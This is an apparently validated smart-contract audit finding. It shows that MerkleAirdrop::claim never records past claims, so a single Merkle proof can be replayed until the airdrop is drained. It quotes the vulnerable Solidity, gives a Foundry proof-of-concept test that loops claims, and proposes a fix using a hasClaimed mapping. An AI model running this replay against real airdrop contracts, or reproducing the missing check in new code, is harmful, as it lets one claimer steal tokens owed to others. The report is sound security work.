Beginner FriendlyDeFiFoundry
100 EXP
View results
Submission Details
Severity: high
Valid

Insufficient Checks in `MerkleAirdrop::claim` Allow the Same Merkle Proof to Be Used an Unlimited Number of Times Allowing a Whitelisted Claimer to Drain the Contract’s Token Balance

Summary

The MerkleAirdrop contract does not keep track of what addresses (and their associated proof) have been used to claim an airdrop allocation. Therefore, it is possible to claim an unlimited number of airdrop allocations using the same merkle proof, effectively draining the contract of its token balance. To mitigate this, a mapping of addresses that have claimed should be present in the contract, as well as a check in the MerkleAirdrop::claim function to check if an address has already claimed their allocation, if so, revert with a custom error.

Vulnerability Details

The MerkleAirdrop::claim function lacks a check to see what addresses (and therefore proofs) have been used to claim an airdrop allocation.

function claim(address account, uint256 amount, bytes32[] calldata merkleProof) external payable {
if (msg.value != FEE) {
revert MerkleAirdrop__InvalidFeeAmount();
}
bytes32 leaf = keccak256(bytes.concat(keccak256(abi.encode(account, amount))));
if (!MerkleProof.verify(merkleProof, i_merkleRoot, leaf)) {
revert MerkleAirdrop__InvalidProof();
}
emit Claimed(account, amount);
i_airdropToken.safeTransfer(account, amount);
}
POC

MerkleAirdrop.t.sol

address collectorOne = 0x20F41376c713072937eb02Be70ee1eD0D639966C;
address collectorTwo = 0x277D26a45Add5775F21256159F089769892CEa5B;
...
bytes32 proofThree = 0x2683f462a4457349d6d7ef62d4208ef42c89c2cff9543cd8292d9269d832c3e8;
bytes32 proofFour = 0xdcad361f30c4a5b102a90b4ec310ffd75c577ccdff1c678adb20a6f02e923366;
bytes32[] proof2 = [proofThree, proofFour];
...
function test_UserCanClaimMultipleTimes() public {
uint256 startingContractBalance = token.balanceOf(address(airdrop));
uint256 numTimesToClaim = startingContractBalance / amountToCollect;
uint256 airdropFee = airdrop.getFee();
vm.deal(collectorOne, airdropFee * numTimesToClaim);
// `collectorOne` is able to claim the entire token balance of the
// contract using the same merkle proof
vm.startPrank(collectorOne);
for (uint256 i = 0; i < numTimesToClaim; i++) {
airdrop.claim{ value: airdropFee }(collectorOne, amountToCollect, proof);
console.log("collectorOne token balance after claim #%s: %s", i, token.balanceOf(collectorOne) / 1e6);
}
vm.stopPrank();
// `collectorOne` has claimed the entire token balance of the contract
uint256 endingBalanceOne = token.balanceOf(collectorOne);
assertEq(endingBalanceOne, startingContractBalance);
// `collectorTwo` is unable to claim because the token balance is
// zero, even with a valid merkle proof
vm.deal(collectorTwo, airdropFee);
// expect to revert due to the contract token balance being zero and
// unable to perform the token transfer
vm.startPrank(collectorTwo);
///@dev error ERC20InsufficientBalance(address sender, uint256 balance, uint256 needed)
vm.expectRevert(
abi.encodeWithSelector(IERC20Errors.ERC20InsufficientBalance.selector, address(airdrop), 0, 25e6)
);
airdrop.claim{ value: airdropFee }(collectorTwo, amountToCollect, proof2);
vm.stopPrank();
// `collectorTwo` was unable to claim their airdrop allocation
uint256 endingBalanceTwo = token.balanceOf(collectorTwo);
assertEq(endingBalanceTwo, 0e6);
}

Impact

Since the contract does not keep track of which addresses have claimed their airdrop allocation, the same merkle proof can be used an unlimited number of times to claim an unlimited number of airdrop allocations, effectively draining the contract token balance.

Tools Used

Manual Analysis

Recommendations

Use a mapping to keep track of which addresses have used a merkle proof to claim their airdrop allocation, as well as include a check in the MerkleAirdrop::claim function with a custom revert error.

MerkleAirdrop.sol

error MerkleAirdrop__TransferFailed();
+ error MerkleAirdrop__AlreadyClaimed();
+
...
bytes32 private immutable i_merkleRoot;
+
+ mapping(address claimer => bool claimed) public hasClaimed;
+
event Claimed(address account, uint256 amount);
function claim(address account, uint256 amount, bytes32[] calldata merkleProof) external payable {
+ if (hasClaimed[account]) {
+ revert MerkleAirdrop__AlreadyClaimed();
+ }
if (msg.value != FEE) {
revert MerkleAirdrop__InvalidFeeAmount();
}
bytes32 leaf = keccak256(bytes.concat(keccak256(abi.encode(account, amount))));
if (!MerkleProof.verify(merkleProof, i_merkleRoot, leaf)) {
revert MerkleAirdrop__InvalidProof();
}
emit Claimed(account, amount);
+ hasClaimed[account] = true;
i_airdropToken.safeTransfer(account, amount);
}

MerkleAirdropTest.t.sol (Test Case)

function test_UserCantClaimMultipleTimes() public {
uint256 startingBalance = token.balanceOf(collectorOne);
uint256 airdropFee = airdrop.getFee();
vm.deal(collectorOne, airdropFee * 2);
vm.startPrank(collectorOne);
// successfully claim since the merkle proof hasn't been used yet
airdrop.claim{ value: airdropFee }(collectorOne, amountToCollect, proof);
// expect revert due to the proof already being used
vm.expectRevert(MerkleAirdrop.MerkleAirdrop__AlreadyClaimed.selector);
airdrop.claim{ value: airdropFee }(collectorOne, amountToCollect, proof);
vm.stopPrank();
uint256 endingBalance = token.balanceOf(collectorOne);
assertEq(endingBalance - startingBalance, amountToCollect);
}
Updates

Lead Judging Commences

inallhonesty Lead Judge over 1 year ago
Submission Judgement Published
Validated
Assigned finding tags:

multi-claim-airdrop

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.